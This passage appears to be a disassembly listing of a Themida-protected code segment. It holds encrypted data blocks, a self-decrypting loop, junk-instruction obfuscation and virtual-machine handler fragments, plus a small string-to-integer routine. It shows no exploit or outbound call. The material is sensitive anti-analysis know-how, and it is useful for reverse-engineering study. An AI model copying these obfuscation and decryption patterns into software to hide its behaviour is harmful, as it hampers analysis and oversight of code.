dd 160424h, 50400000h, 971444C3h, 8A0Fh, 0B5FF0000h, 60B2F4Dh
dd 0F9858DF9h, 50060DA5h, 54E3BD8Dh, 8D8D060Bh, 60B703Bh
dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0B6FBAB5h
dd 538D8D06h, 2B060B70h, 33A4F3CFh, 0B8C9h, 0C00B0000h
dd 0BD834674h, 60B2F21h, 0FF067400h, 0B101D95h, 74B58B06h
dd 8D060B4Dh, 0DA5F985h, 8DD0FF06h, 0B41D185h, 0C7D0FF06h
dd 0B067D85h, 106h, 2DA58B00h, 8B060B10h, 0B2891B5h, 7DAD8B06h
dd 33060B21h, 0CC2C0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0B6C35343h, 0E85F2067h, 9, 0E795842Eh
dd 0C3FA63C6h, 91B58973h, 5A060B1Fh, 9E9h, 7B5E6700h, 0A0EF4A5Bh
dd 0BF0FED99h, 21BD83DBh, 60B00h, 4D840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0B03582C3h, 20CD6965h, 0FFE78C45h, 0B05B595h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 85C2AECDh, 83F96E7Fh, 0B1611BDh, 850F0006h, 17Ah, 17BB6652h
dd 8B665A7Dh, 19BD83DAh, 1060B0Bh, 164850Fh, 8A0F0000h
dd 5, 8E38166h, 3DBD8391h, 60B0Ch, 14C840Fh, 85890000h
dd 60B152Dh, 4DC7BD83h, 0F00060Bh, 13984h, 0E5958B00h
dd 8D060B0Dh, 0DA5F985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0C7544B8Fh, 0E9CD591Bh
dd 12h, 0C8DD43CBh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h
dd 0B58B0265h, 60B4D74h, 9521BA66h, 0F8D0FFF8h, 284585C6h
dd 8B54060Bh, 0B0E1D9Dh, 89DD6806h, 0DE8EA2Fh, 0DF000000h
dd 2566BA04h, 0E12C0CE6h, 0F3E92115h, 5ADF8B56h, 2434815Ah
dd 15613729h, 1EC5958Bh, 0B5FF060Bh, 60B0B01h, 8D90EA80h
dd 0B390D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 84E62DA5h, 8B66430Dh, 29D0FFD9h
dd 0B2A6985h, 60006A06h, 13759D89h, 61F5060Bh, 9E8FF6Ah
dd 32000000h, 9DCFB18Bh, 46D67603h, 12E8h, 0FC7B3900h
dd 0E9B2D496h, 0E642772Eh, 9CAA3D23h, 80DCF3D8h, 5B5A42F7h
dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 878EECC3h, 59958B9Ch, 0FF060B23h, 0B0655B5h
dd 4D6FBA06h, 95FF578Ch, 60B2F4Dh, 15158D89h, 0B58B060Bh
dd 60B4D74h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 35C35141h, 6C3DC529h, 3413308h, 0B14E59Dh, 8B0FC306h
dd 5, 38C38166h, 0C5B58BF9h, 66060B2Eh, 0F60BD68Bh, 66840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 8A5633C3h, 0CFD9CB33h, 11E935h, 7A5D0000h
dd 93718E4Eh, 3402EA42h, 0E5B0B5C8h, 0B6A21B1Ah, 6C695h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h
dd 7E9h, 10892300h, 63B0236Bh, 4D7C8589h, 0C680060Bh, 159529C8h
dd 83060B05h, 840F00F8h, 315h, 0AAD8D01h, 0B8060Bh, 80000000h
dd 0AE93BF2h, 40000000h, 0C32A9319h, 3900823h, 0F883FBh
dd 0F5840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 3BE85EC3h, 0B70FEC55h, 2F883D1h
dd 97850Fh, 0BD290000h, 60B0F11h, 43F7858Dh, 0EE9060Bh
dd 0D6000000h, 2C0D0F47h, 9BD0FF50h, 0B661D1D6h, 2DD18B53h
dd 929h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 89C35646h, 0F79D9B6Dh, 0D281C638h, 191DA617h, 0EE06BA66h
dd 0D98B6650h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 746BC353h, 0CAB70F60h
dd 611AEA80h, 0C3DF8B66h, 0D6816660h, 0F3B41731h, 68B0F61h
dd 3000000h, 0B29F59Dh, 0B806h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 0BD42ACC3h
dd 0B589E085h, 60B2039h, 1FCE9h, 0B8D68B00h, 1, 0E1D1BA66h
dd 43FCBD8Dh, 9D2B060Bh, 60B01D1h, 0BEE9h, 0E0BB6600h
dd 2F883D6h, 53850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 8D3D7EC3h, 0B45F4BDh
dd 659D0306h, 0E9060B03h, 83h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 66C35747h, 0C498DFDCh, 0EB7C1F66h
dd 3F883ADh, 28850Fh, 8A0F0000h, 0Bh, 5840Fh, 81660000h
dd 8D74F5DBh, 0B4788BDh, 399D8906h, 0E9060B08h, 33h, 0AC9B589h
dd 0F883060Bh, 24850F05h, 60000000h, 0D8CF8166h, 858D8BF9h
dd 61060B20h, 0B2E9h, 0E9F08A00h, 0Bh, 12C9BD1Eh, 0FF9BD78Ah
dd 574C7475h, 0E19D8BFCh, 0B9060B07h, 3CEB60E2h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h, 958BDE44h
dd 60B1685h, 15299D09h, 3F83060Bh, 60840F00h, 3000000h
dd 0B2F499Dh, 0E80F3006h, 11h, 18D99A4Ah, 8930CB3Ch, 3D1890D7h
dd 80547641h, 7E959h, 97B20000h, 0F561AEAAh, 0C9D15A97h
dd 8147D78Bh, 0B7FFA7CBh, 0E9D18B47h, 0FFFFFFBAh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A5C35747h, 0A18D8959h
dd 83060B29h, 850F05F8h, 79h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 5EC35747h, 0B7B5F995h, 0E9A9827Bh
dd 0Dh, 39E78E0Ch, 2D7A322Dh, 0AC71B135h, 0D98C6627h, 31D58529h
dd 0C1F6060Bh, 1C850F04h, 8B000000h, 0B067995h, 0B806h
dd 85890000h, 60B2981h, 1CE9h, 0B5BD8900h, 8B060B06h, 0B188185h
dd 6880F06h, 89000000h, 0B08A18Dh, 8BE0FF06h, 4DBD83D3h
dd 60B2Fh, 7F850Fh, 820F0000h, 6, 12C59589h, 5050060Bh
dd 0FD08B52h, 0E4BA6631h, 89585A90h, 66572404h, 178DEB81h
dd 4585C65Bh, 45060B28h, 1B099D23h, 1068060Bh, 81E47A5Fh
dd 36792434h, 820F6A08h, 6, 322D8D89h, 0B5FF060Bh, 60B0B01h
dd 858DD18Ah, 60B390Dh, 0E6A4B6BAh, 0E9D0FF5Ah, 0Fh, 0C55C7E3Ah
dd 0B82F18F2h, 4B3D8A00h, 89D3BE22h, 0B2F4D85h, 8958FC06h
dd 0B02A995h, 0CBBD8306h, 60B4Dh, 56840Fh, 840F0000h, 23h
dd 12E8h, 7ACC5100h, 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh
dd 0E9E83E56h, 6, 0D41B1418h, 0FF5A2DE1h, 0B0655B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0FF3D7688h, 0B2F4D95h, 0D6B70F06h, 0F00F883h, 13185h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0D88BA1FDh, 899BD83h, 0F00060Bh, 6D84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 10E680FAh, 0FFDFB70Fh
dd 0B0899B5h, 0B8E0B706h, 1, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0A0C35242h, 0F81ABE7h, 682h
dd 0C5F38100h, 0FC4E63AEh, 262E9h, 78A0F00h, 50000000h
dd 0CEDB8166h, 0B5FF5A0Fh, 60B0655h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 43C35646h, 21AB4772h, 0F09B589h
dd 0B5FF060Bh, 60B0655h, 0B5FFF58Ah, 60B2F4Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 76C35141h, 0FE871015h
dd 8CA502D5h, 0D178B860h, 840F4174h, 3, 611AC580h, 1E2E9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 7A45DE4Bh, 8A576566h, 0F5F5BF8h, 184h, 0BD83F800h
dd 60B0BD9h, 34850F00h, 6A000001h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2839C351h
dd 6830F82h, 9000000h, 0B1659B5h, 2EBB6606h, 0C6FE8A4Eh
dd 0B284585h, 0AE94D06h, 57000000h, 0A3A12D6Eh, 0A9046414h
dd 1D8D0127h, 0E8060B21h, 4, 0A43576A8h, 50D18B66h, 0C628BB66h
dd 424448Bh, 754FD7BBh, 50008B1Fh, 0FD98B52h, 11E95331h
dd 76000000h, 192B45C9h, 676C82A4h, 2EF93C46h, 0E8BA0E07h
dd 89585A5Ah, 0E8042444h, 8, 0AC1E37D9h, 0AAFF8A4Ah, 0A7D111BAh
dd 6A585B41h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 2700C350h, 0EA757DF5h, 188D9D23h
dd 0B5FF060Bh, 60B0315h, 43A569BAh, 0D858D4Fh, 6A060B39h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 4525C353h, 53AD2E7Fh, 0FE960h, 7360000h
dd 77C683C6h, 914166Ah, 15F632D1h, 0CE816690h, 0FF615069h
dd 0C58589D0h, 89060B15h, 0B0BD985h, 7E806h, 24290000h
dd 16A046E3h, 0FB9DBB02h, 0B85A29D7h, 0
; ---------------------------------------------------------------------------
mov [ebp+60B2DF1h], ebx
mov [ebp+60B4D74h], edi
or [ebp+60B1A4Dh], ecx
or eax, eax
jz loc_543AEF
mov [ebp+60B0B4Dh], edi
jmp loc_543B33
; ---------------------------------------------------------------------------
sub [ebp+60B21DDh], edx
loc_543AEF: ; CODE XREF: Themida_:00543AD8j
push dword ptr [ebp+60B2F4Dh]
push eax
mov edx, [ebp+60B0C0Dh]
pop ebx
lea eax, [ebp+60DA5F9h]
and bh, 0FFh
push eax
push eax
push edx
call near ptr loc_543B1E+2
fist word ptr fs:[eax+4F942D0h]
sub al, 0F9h
mov esi, 89D3CE78h
pusha
dec eax
loc_543B1E: ; CODE XREF: Themida_:00543B09p
fisub word ptr [esi]
mov ebx, 0F5B24D0h
xor [edi-4Eh], edx
inc esi
pop edx
pop edx
pop eax
mov [esp], eax
mov bx, ax
loc_543B33: ; CODE XREF: Themida_:00543AE4j
push eax
push esi
lea edi, [ebp+60B54E3h]
lea ecx, [ebp+60B7AA4h]
mov eax, 748323BCh
sub ecx, edi
loc_543B48: ; CODE XREF: Themida_:00543B4Ej
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_543B48
pop esi
pop eax
cmp dword ptr [ebp+60B0899h], 0
jz short loc_543B61
mov ecx, [ebp+60B0301h]
loc_543B61: ; CODE XREF: Themida_:00543B59j
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_543C09
cmp dword ptr [ebp+60B2F21h], 0
jz short loc_543B7F
call dword ptr [ebp+60B101Dh]
loc_543B7F: ; CODE XREF: Themida_:00543B77j
mov eax, 0
or eax, eax
jnz short loc_543B91
cmp dword ptr [ebp+60B4D7Ch], 1
jz short loc_543B9A
loc_543B91: ; CODE XREF: Themida_:00543B86j
cmp dword ptr [ebp+60B4D7Ch], 2
jnz short loc_543BA8
loc_543B9A: ; CODE XREF: Themida_:00543B8Fj
mov esi, [ebp+60B4D74h]
lea eax, [ebp+60DA5F9h]
call eax
loc_543BA8: ; CODE XREF: Themida_:00543B98j
lea eax, [ebp+60B41D1h]
call eax
cmp dword ptr [ebp+60B1FDDh], 2
jnz short loc_543BE8
mov esp, [ebp+60B102Dh]
mov eax, [ebp+60B0899h]
mov [esp], eax
mov dword ptr [ebp+60B067Dh], 1
mov esi, [ebp+60B4D78h]
mov ebp, [ebp+60B217Dh]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_543BE8: ; CODE XREF: Themida_:00543BB7j
mov dword ptr [ebp+60B067Dh], 1
mov esp, [ebp+60B102Dh]
mov esi, [ebp+60B2891h]
mov ebp, [ebp+60B217Dh]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_543C09: ; CODE XREF: Themida_:00543B6Aj
cmp dword ptr [ebp+60B0021h], 0
jz short loc_543C21
cmp dword ptr [ebp+60B05B5h], 0
jz short loc_543C21
call dword ptr [ebp+60B05B5h]
loc_543C21: ; CODE XREF: Themida_:00543C10j
; Themida_:00543C19j
mov esi, [ebp+60B4D74h]
retn
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_543C33
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_543C33 proc near ; CODE XREF: Themida_:00543C2Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_543C33 endp
; ---------------------------------------------------------------------------
db 85h
dd 92BED3F5h, 8D896908h, 60B103Dh, 0BAF5h, 11E80000h, 0EC000000h
dd 73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh, 5BB8F8BAh
; ---------------------------------------------------------------------------
ja short loc_543CCC
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_543C82
; ---------------------------------------------------------------------------
loc_543C80: ; CODE XREF: Themida_:00543C85j
inc eax
inc edi
loc_543C82: ; CODE XREF: Themida_:00543C7Ej
cmp byte ptr [edi], 0
jnz short loc_543C80
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_543CB1
; ---------------------------------------------------------------------------
loc_543C8E: ; CODE XREF: Themida_:00543CB3j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_543CA6
; ---------------------------------------------------------------------------
loc_543CA3: ; CODE XREF: Themida_:00543CA9j
mul ebx
dec esi
loc_543CA6: ; CODE XREF: Themida_:00543CA1j
cmp esi, 0
ja short loc_543CA3
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_543CB1: ; CODE XREF: Themida_:00543C8Cj
or eax, eax
jnz short loc_543C8E
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
db 0E9h
dd 0Ch, 8DD79C37h, 403D9135h
; ---------------------------------------------------------------------------
loc_543CCC: ; CODE XREF: Themida_:00543C70j
add dword ptr [esp+esi*2], 50006A3Dh
call sub_543CDB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_543CDB proc near ; CODE XREF: Themida_:00543CD3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_543CDB endp
; ---------------------------------------------------------------------------
inc eax
mov ah, 0C1h
fcomp dword ptr [esi]
mov bx, 0C5ABh
mov eax, ecx
jmp loc_565CD0
; ---------------------------------------------------------------------------
db 28h
dd 34025900h, 3F005AB9h, 68025900h, 12FFh, 26000000h, 26005ABEh
dd 46005ABEh, 2000002h, 1000000h, 5000000h, 0A4000000h
dd 0FA48C0h, 4 dup(0)
dd 53000000h, 88005470h, 1005460h, 0EB0054E0h, 40005470h
dd 0EB0054E2h, 960054CAh, 0FC0054A6h, 0E8005481h, 0C00054F2h
dd 910054AAh, 0C70054DDh, 0B600546Eh, 86005451h, 0BF0054B5h
dd 9D0054CDh, 0B2005459h, 0D30054ECh, 0F00054C9h, 9D005483h
dd 910054B5h, 9700548Fh, 0FD0054F5h, 9E005470h, 0FC005489h
dd 0F9005441h, 7700546Ch, 83005498h, 0A1005448h, 680054CBh
dd 0F80054C7h, 0C00054B4h, 490054BEh, 1A005445h, 0D50054DCh
dd 0F400545Eh, 5A00548Ch, 0C8005484h, 0B3005442h, 0FA0054D7h
dd 5E005472h, 5A0054E0h, 330054E6h, 0BE0054FDh, 54C2h
dd 0D1005477h, 9F0054F1h, 6B005470h, 830054D9h, 690054EBh
dd 6C0054EFh, 2A0054A8h, 0E70054BAh, 650054E3h, 83005484h
dd 80054D6h, 6B005489h, 3B0054E6h, 0DD0054A2h, 7B0054B9h
dd 0CB0054C2h, 48005457h, 32005440h, 0EC00547Dh, 0F0005441h
dd 1E005478h, 0AA0054B0h, 0F80054DAh, 550054F9h, 0D10054F3h
dd 72005466h, 0F60054A3h, 44005485h, 0CB0054D2h, 0A2005448h
dd 70005444h, 0F900546Eh, 8C0054A4h, 62005474h, 0FA00547Ch
dd 19005449h, 47005461h, 0C40054E7h, 8400548Bh, 9E005491h
dd 660054A7h, 400054E0h, 0BD005473h, 77005449h, 6300547Fh
dd 8500546Bh, 2D0054ECh, 0C5005495h, 0F2005441h, 5C00547Eh
dd 0D0054BEh, 3D0054A3h, 6D005458h, 0A10054DBh, 0ED0054EAh
dd 0F005462h, 94005482h, 750054F4h, 4F005466h, 0A9005448h
dd 50054C4h, 70054A3h, 0CC00546Dh, 4F005467h, 30054C1h
dd 0EE005449h, 210054FEh, 33005444h, 200054C1h, 6E0054DEh
dd 0CF00544Eh, 0EE0054AEh, 5D00544Fh, 800548Ch, 0D00054CDh
dd 27005463h, 33005453h, 0F0054A2h, 0E10054D9h, 540054CFh
dd 8C00547Ah, 5800544Fh, 130054F1h, 9E0054A4h, 2B0054BFh
dd 0D0005471h, 0B50054B1h, 0CF005479h, 18005451h, 9E005463h
dd 990054CAh, 0D3005443h, 640054E3h, 320054B4h, 0AC0054CEh
dd 22005464h, 4F005480h, 0BA005471h, 110054E9h, 210054B5h
dd 0B20054E2h, 0D2005491h, 5500548Bh, 190054E7h, 350054BCh
dd 84005475h, 0FC005486h, 750054A8h, 0DC00544Ch, 17005440h
dd 7D0054DBh, 0DC005491h, 87005464h, 58005459h, 510054BBh
dd 3E005473h, 9500546Dh, 6E005489h, 86005479h, 63005473h
dd 52005440h, 3C005457h
db 0D9h, 54h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CDA
loc_543FDB: ; CODE XREF: sub_565CDA+C2j
; sub_565CDA+CCj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 60B7F3Fh
mov eax, edi
add edi, 60B7C57h
cmp eax, [edi+2Ch]
jnz short loc_543FF9
jmp short loc_54400C
; ---------------------------------------------------------------------------
loc_543FF9: ; CODE XREF: sub_565CDA-21CE5j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_544008
; ---------------------------------------------------------------------------
loc_544003: ; CODE XREF: sub_565CDA-21CD0j
add [edi+ecx*4+40h], eax
dec ecx
loc_544008: ; CODE XREF: sub_565CDA-21CD9j
or ecx, ecx
jnz short loc_544003
loc_54400C: ; CODE XREF: sub_565CDA-21CE3j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_544019: ; CODE XREF: sub_565CDA-21CBAj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_544019
loc_544022: ; CODE XREF: Themida_:005440C1j
; Themida_:0054426Aj ...
lodsb
jmp loc_54C5EC
; END OF FUNCTION CHUNK FOR sub_565CDA
; ---------------------------------------------------------------------------
loc_544028: ; CODE XREF: Themida_:0054C840j
add ebp, 4
jmp loc_54BCF1
; ---------------------------------------------------------------------------
loc_544033: ; CODE XREF: Themida_:0054836Bj
mov ecx, [esp]
add esp, 4
not ecx
push edx
mov edx, 3B940625h
inc edx
inc edx
jmp loc_546312
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
sub esp, 4
jmp loc_54AD21
; ---------------------------------------------------------------------------
loc_544055: ; CODE XREF: Themida_:00548ED1j
mov esp, [esp]
jmp loc_54B0DC
; ---------------------------------------------------------------------------
loc_54405D: ; CODE XREF: Themida_:00548A77j
inc ecx
jmp loc_54CB27
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ebp
mov ebp, 3C483742h
add ebp, 3CB82A3Ah
sub eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 1226793Fh
sub eax, 1D6F4392h
add eax, ebx
add eax, 1D6F4392h
jmp loc_549EEA
; ---------------------------------------------------------------------------
loc_544093: ; CODE XREF: Themida_:0054FC68j
add eax, ecx
pop ecx
jmp loc_547DA5
; ---------------------------------------------------------------------------
loc_54409B: ; CODE XREF: Themida_:00544DB7j
add esp, 4
add esi, edi
mov edi, [esp]
push eax
jmp loc_54A018
; ---------------------------------------------------------------------------
loc_5440AC: ; CODE XREF: Themida_:00544927j
pop dword ptr [esp]
mov esp, [esp]
push 4FACh
jmp loc_5480BD
; ---------------------------------------------------------------------------
loc_5440BC: ; CODE XREF: Themida_:0054BA5Bj
dec word ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5440C6: ; CODE XREF: Themida_:0054F653j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_54C570
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_546997
; ---------------------------------------------------------------------------
loc_5440E5: ; CODE XREF: Themida_:0054773Dj
pop eax
jmp loc_544552
; ---------------------------------------------------------------------------
loc_5440EB: ; CODE XREF: Themida_:0054FA5Aj
shl edx, 8
add edx, 3F1679BEh
sub edx, 63B7E70Dh
add ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_54953B
; ---------------------------------------------------------------------------
loc_54410A: ; CODE XREF: Themida_:00547AA0j
and edi, 2E0D5EBCh
sub esp, 4
mov [esp], esi
jmp loc_54D6F6
; ---------------------------------------------------------------------------
loc_54411E: ; CODE XREF: Themida_:0054ADCCj
push edi
push 25A86264h
pop edi
jmp loc_548FD8
; ---------------------------------------------------------------------------
loc_54412A: ; CODE XREF: Themida_:0054947Bj
and ebp, 68681A2Fh
add ebp, 610C25C9h
sub ebp, 73186CE1h
and ebp, 2D7144ADh
not ebp
sub ebp, 4E44052Ch
sub ebp, 844ABA27h
add esi, ebp
pop ebp
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
or eax, eax
jz loc_54A337
push dword ptr [edi+1Ch]
push 138Ah
jmp loc_54D949
; ---------------------------------------------------------------------------
loc_54417A: ; CODE XREF: Themida_:005446DAj
push ecx
mov ecx, 4946601Ch
add edi, ecx
pop ecx
jmp loc_54F76A
; ---------------------------------------------------------------------------
loc_544188: ; CODE XREF: Themida_:0054EFB4j
push ebp
jmp loc_547BFA
; ---------------------------------------------------------------------------
loc_54418E: ; CODE XREF: Themida_:00545A2Bj
xor esi, ebp
not ebp
push esi
push ebp
pop esi
pop ebp
neg esi
add esi, 0FFFFFFFFh
and esi, 27FE1E62h
xor esi, 26FA1664h
add ebx, esi
mov esi, [esp]
push ebx
mov ebx, esp
jmp loc_549C45
; ---------------------------------------------------------------------------
loc_5441B4: ; CODE XREF: Themida_:0054DF09j
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_54B51D
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
push edx
mov edx, 50A57D8Eh
add edx, 0AF5A8276h
add eax, edx
jmp loc_54DEAF
; ---------------------------------------------------------------------------
loc_5441DF: ; CODE XREF: Themida_:0054BFC6j
mov [esp], cx
movzx cx, al
jmp loc_54C80A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_545B28
; ---------------------------------------------------------------------------
lodsd
push ecx
jmp loc_546103
; ---------------------------------------------------------------------------
loc_544203: ; CODE XREF: Themida_:00546054j
add ecx, eax
pop eax
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_54443D
; ---------------------------------------------------------------------------
loc_54421A: ; CODE XREF: Themida_:0054ABC8j
sub dl, 1Dh
jmp loc_54E4FF
; ---------------------------------------------------------------------------
loc_544222: ; CODE XREF: Themida_:00545DECj
pop edx
add ch, 3Ah
push edx
mov dl, ch
mov al, dl
pop edx
mov ecx, [esp]
add esp, 4
xor bl, al
mov eax, [esp]
add esp, 4
add al, 7Eh
add al, bl
sub al, 7Eh
pop ebx
jmp loc_54F260
; ---------------------------------------------------------------------------
loc_54424C: ; CODE XREF: Themida_:0054F6FEj
add esi, 4
push ebx
jmp loc_545292
; ---------------------------------------------------------------------------
loc_544258: ; CODE XREF: Themida_:0054A22Ej
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54426F: ; CODE XREF: Themida_:005458D7j
push edx
push ebx
mov ebx, 75D1079Ah
xor [esp+4], ebx
jmp loc_54C94A
; ---------------------------------------------------------------------------
loc_54427F: ; CODE XREF: Themida_:00548571j
xor ebp, 41BF49B2h
sub ecx, ebp
pop ebp
add ecx, 27EB188h
add esi, 7C3D5Fh
sub esi, 414219ACh
add esi, ecx
jmp loc_54D0AA
; ---------------------------------------------------------------------------
loc_5442A1: ; CODE XREF: Themida_:0054BB3Fj
mov [esp], ebp
mov ebp, esp
push eax
mov eax, 8A939D0h
shl eax, 3
and eax, 0B1B5E1Dh
add eax, 0FEF6B204h
jmp loc_549F43
; ---------------------------------------------------------------------------
loc_5442BE: ; CODE XREF: Themida_:005493D5j
pop edx
sub [edi+24h], ebx
pop ebx
jmp loc_5480B7
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_54761F
; ---------------------------------------------------------------------------
loc_5442D0: ; CODE XREF: Themida_:00545930j
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_54E761
; ---------------------------------------------------------------------------
loc_5442DF: ; CODE XREF: Themida_:005489BFj
sub ebp, edi
jmp loc_546271
; ---------------------------------------------------------------------------
loc_5442E6: ; CODE XREF: Themida_:00546C8Cj
sub al, 0AFh
add al, ch
add al, 0AFh
mov ecx, [esp]
add esp, 4
add bl, 0A6h
jmp loc_54DCA0
; ---------------------------------------------------------------------------
loc_5442FA: ; CODE XREF: Themida_:0054B52Dj
mov [esp], edi
sub esp, 4
push 2398h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
push esi
mov esi, 2
sub edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544344: ; CODE XREF: Themida_:00549690j
push eax
mov eax, 316D2784h
mov esi, eax
mov eax, [esp]
push edx
mov edx, esp
jmp loc_54839D
; ---------------------------------------------------------------------------
loc_544357: ; CODE XREF: Themida_:00546F20j
push 51DCh
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_547A71
; ---------------------------------------------------------------------------
loc_544369: ; CODE XREF: Themida_:0054AFA0j
mov edx, [esp]
add esp, 4
jmp loc_54CE11
; ---------------------------------------------------------------------------
loc_544374: ; CODE XREF: Themida_:00545764j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_54C934
; ---------------------------------------------------------------------------
locret_544382: ; CODE XREF: Themida_:0054849Fj
retn
; ---------------------------------------------------------------------------
jmp loc_544022
; ---------------------------------------------------------------------------
loc_544388: ; CODE XREF: Themida_:00546A0Aj
pop ebx
xchg eax, [esp]
jmp loc_546D9C
; ---------------------------------------------------------------------------
loc_544391: ; CODE XREF: Themida_:0054F6C7j
shl ebp, 7
jmp loc_54C45C
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5443A2: ; CODE XREF: Themida_:005480D9j
xor [esp], ebx
xor ebx, [esp]
pop esp
push dword ptr [esp]
jmp loc_54C093
; ---------------------------------------------------------------------------
loc_5443B1: ; CODE XREF: Themida_:0054AA20j
mov ecx, 7DBCD0E4h
sub ebp, 40215BCBh
add ebp, ecx
add ebp, 40215BCBh
pop ecx
mov edi, ebp
pop ebp
sub edi, 29D3536Eh
jmp loc_54C875
; ---------------------------------------------------------------------------
loc_5443D3: ; CODE XREF: Themida_:0054FB08j
push 25D8276Ch
mov edx, [esp]
add esp, 4
not edx
not edx
add edx, 0DA27D898h
mov eax, edx
push dword ptr [esp]
pop edx
add esp, 4
add ecx, eax
jmp loc_54F81E
; ---------------------------------------------------------------------------
loc_5443FE: ; CODE XREF: Themida_:00545EF5j
add eax, 16DF1892h
sub eax, 0F8769FEh
pop ebp
jmp loc_54C596
; ---------------------------------------------------------------------------
loc_54440E: ; CODE XREF: Themida_:0054D0B7j
push ebp
jmp loc_54EAD3
; ---------------------------------------------------------------------------
loc_544414: ; CODE XREF: Themida_:00546534j
add ebp, 50D6D2Dh
not ebp
